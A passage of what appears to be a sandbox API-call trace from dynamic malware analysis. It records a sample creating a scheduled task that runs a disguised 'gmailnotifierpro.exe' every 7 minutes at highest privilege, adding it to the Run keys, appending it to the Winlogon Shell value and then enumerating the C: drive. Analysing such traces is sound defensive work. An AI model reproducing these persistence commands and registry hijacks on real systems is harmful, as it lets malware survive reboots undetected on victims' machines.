puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0109.477] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4afa60, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0109.477] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4afa60, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0109.477] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afbe0, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0109.477] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0109.477] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0109.477] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afbe0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0109.477] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0109.477] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0109.477] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afa60, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0109.477] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afa60, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0109.477] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afa60, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0109.477] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0109.477] WbemLocator:IUnknown:AddRef (This=0x1b4ad258) returned 0x3 [0109.477] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad258, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b4ad258) returned 0x0 [0109.477] WbemLocator:IUnknown:Release (This=0x1b4ad258) returned 0x3 [0109.477] WbemLocator:IUnknown:Release (This=0x1b4ad258) returned 0x2 [0109.477] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afa60, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0109.477] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afa60, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0109.478] IWbemServices:GetObject (in: This=0x63c590, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4cf080, ppCallResult=0x0) returned 0x0 [0109.481] IWbemClassObject:GetMethod (in: This=0x1b4cf080, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b4cf3f0, ppOutSignature=0x1b30d610*=0x1b4cf760) returned 0x0 [0109.481] IWbemClassObject:SpawnInstance (in: This=0x1b4cf3f0, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x1b4ad8d0) returned 0x0 [0109.481] IWbemClassObject:Get (in: This=0x1b4ad8d0, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b2590*=0, plFlavor=0x27b2594*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b2590*=8, plFlavor=0x27b2594*=32) returned 0x0 [0109.481] IWbemClassObject:Get (in: This=0x1b4ad8d0, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b2590*=8, plFlavor=0x27b2594*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b2590*=8, plFlavor=0x27b2594*=32) returned 0x0 [0109.481] IWbemClassObject:Put (This=0x1b4ad8d0, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"gmailnotifierprog\" /sc MINUTE /mo 7 /tr \"'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0109.481] IWbemClassObject:Get (in: This=0x1b4ad8d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b2620*=0, plFlavor=0x27b2624*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b2620*=13, plFlavor=0x27b2624*=32) returned 0x0 [0109.482] IWbemClassObject:Get (in: This=0x1b4ad8d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b2620*=13, plFlavor=0x27b2624*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b2620*=13, plFlavor=0x27b2624*=32) returned 0x0 [0109.482] IUnknown:QueryInterface (in: This=0x1b4ced10, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4ced10) returned 0x0 [0109.484] IUnknown:QueryInterface (in: This=0x1b4ced10, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0109.484] IUnknown:QueryInterface (in: This=0x1b4ced10, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0109.484] IUnknown:QueryInterface (in: This=0x1b4ced10, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0109.484] IUnknown:AddRef (This=0x1b4ced10) returned 0x3 [0109.484] IUnknown:QueryInterface (in: This=0x1b4ced10, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0109.484] IUnknown:QueryInterface (in: This=0x1b4ced10, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0109.484] IUnknown:QueryInterface (in: This=0x1b4ced10, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4ced18) returned 0x0 [0109.484] IMarshal:GetUnmarshalClass (in: This=0x1b4ced18, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0109.484] IUnknown:Release (This=0x1b4ced18) returned 0x3 [0109.484] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0109.484] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0109.484] IUnknown:QueryInterface (in: This=0x1b4ced10, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0109.484] IUnknown:Release (This=0x1b4ced10) returned 0x2 [0109.484] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0109.484] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0109.484] IUnknown:QueryInterface (in: This=0x1b4ced10, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0109.485] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0109.485] IUnknown:QueryInterface (in: This=0x1b4ced10, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0109.485] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0109.485] IUnknown:AddRef (This=0x1b4ced10) returned 0x3 [0109.485] IWbemClassObject:Put (This=0x1b4ad8d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4ced10, varVal2=0x0), Type=0) returned 0x0 [0109.485] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b04e0, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0109.485] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b04e0, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0109.485] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b04e0, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0109.485] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afbe0, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0109.485] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0109.485] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0109.485] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0109.485] WbemLocator:IUnknown:AddRef (This=0x1b4ad258) returned 0x3 [0109.485] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad258, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b4ad258) returned 0x0 [0109.485] WbemLocator:IUnknown:Release (This=0x1b4ad258) returned 0x3 [0109.485] WbemLocator:IUnknown:Release (This=0x1b4ad258) returned 0x2 [0109.485] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0109.485] WbemLocator:IUnknown:AddRef (This=0x1b4ad258) returned 0x3 [0109.485] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad258, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b4ad258) returned 0x0 [0109.485] WbemLocator:IUnknown:Release (This=0x1b4ad258) returned 0x3 [0109.485] WbemLocator:IUnknown:Release (This=0x1b4ad258) returned 0x2 [0109.485] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b04e0, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0109.486] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b04e0, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0109.486] IWbemServices:ExecMethod (in: This=0x63c590, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b4ad8d0, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x1b4ae630, ppCallResult=0x0) returned 0x0 [0109.551] IWbemClassObject:Get (in: This=0x1b4ae630, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b2930*=0, plFlavor=0x27b2934*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1220, varVal2=0x0), pType=0x27b2930*=19, plFlavor=0x27b2934*=0) returned 0x0 [0109.551] IWbemClassObject:Get (in: This=0x1b4ae630, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b2930*=19, plFlavor=0x27b2934*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1220, varVal2=0x0), pType=0x27b2930*=19, plFlavor=0x27b2934*=0) returned 0x0 [0109.552] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x2ac) returned 0x0 [0109.552] RegQueryValueExW (in: hKey=0x2ac, lpValueName="gmailnotifierpro", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x0, lpData=0x0, lpcbData=0x1b30d880*=0x0) returned 0x2 [0109.552] RegSetValueExW (in: hKey=0x2ac, lpValueName="gmailnotifierpro", Reserved=0x0, dwType=0x1, lpData="\"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\"", cbData=0x4a | out: lpData="\"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\"") returned 0x0 [0109.552] RegCloseKey (hKey=0x2ac) returned 0x0 [0109.553] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x2ac) returned 0x0 [0109.553] RegQueryValueExW (in: hKey=0x2ac, lpValueName="gmailnotifierpro", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x0, lpData=0x0, lpcbData=0x1b30d880*=0x0) returned 0x2 [0109.553] RegSetValueExW (in: hKey=0x2ac, lpValueName="gmailnotifierpro", Reserved=0x0, dwType=0x1, lpData="\"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\"", cbData=0x4a | out: lpData="\"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\"") returned 0x0 [0109.553] RegCloseKey (hKey=0x2ac) returned 0x0 [0109.553] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x2ac) returned 0x0 [0109.554] RegQueryValueExW (in: hKey=0x2ac, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d8b8, lpData=0x0, lpcbData=0x1b30d8b0*=0x0 | out: lpType=0x1b30d8b8*=0x1, lpData=0x0, lpcbData=0x1b30d8b0*=0x92) returned 0x0 [0109.554] RegQueryValueExW (in: hKey=0x2ac, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d8b8, lpData=0x27b3730, lpcbData=0x1b30d8b0*=0x92 | out: lpType=0x1b30d8b8*=0x1, lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\"", lpcbData=0x1b30d8b0*=0x92) returned 0x0 [0109.554] RegQueryValueExW (in: hKey=0x2ac, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x1, lpData=0x0, lpcbData=0x1b30d880*=0x92) returned 0x0 [0109.554] RegSetValueExW (in: hKey=0x2ac, lpValueName="Shell", Reserved=0x0, dwType=0x1, lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\", \"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\"", cbData=0xde | out: lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\", \"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\"") returned 0x0 [0109.554] RegCloseKey (hKey=0x2ac) returned 0x0 [0109.554] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xf74) returned 0x2ac [0109.554] GetExitCodeProcess (in: hProcess=0x2ac, lpExitCode=0x258c994 | out: lpExitCode=0x258c994*=0x103) returned 1 [0109.554] CoTaskMemAlloc (cb=0x404) returned 0x1b460360 [0109.554] QueryFullProcessImageNameA (in: hProcess=0x2ac, dwFlags=0x0, lpExeName=0x1b460360, lpdwSize=0x1b30dda8 | out: lpExeName="C:\\Program Files (x86)\\MSBuild\\whatsapp.exe", lpdwSize=0x1b30dda8) returned 1 [0109.555] CoTaskMemFree (pv=0x1b460360) [0109.557] CoTaskMemAlloc (cb=0x20c) returned 0x1b4b7a80 [0109.557] GetSystemDirectoryW (in: lpBuffer=0x1b4b7a80, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0109.557] CoTaskMemFree (pv=0x1b4b7a80) [0109.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0109.557] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0109.558] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbaec25, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xbaec25, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1b48f8b0 [0109.558] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7898476d, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b27f82, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0109.558] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x61b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0109.558] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0109.558] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x78d17e5a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78d17e5a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78d17e5a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0109.558] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa1317bed, ftCreationTime.dwHighDateTime=0x1d99cf2, ftLastAccessTime.dwLowDateTime=0xf974ba53, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xf974ba53, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0109.559] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0109.559] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x551dbbfd, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x551dbbfd, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x248b69a0, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0109.559] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0x4cb5cae1, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4cba8e1e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4cba8e1e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0109.559] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x85890a37, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x85890a37, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2555deab, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x48000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0109.560] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbaec25, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xbaec25, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0109.560] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3c6700c, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x3c6700c, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0109.560] FindNextFileW (in: hFindFile=0x1b48f8b0, lpFindFileData=0x1b30d760 | 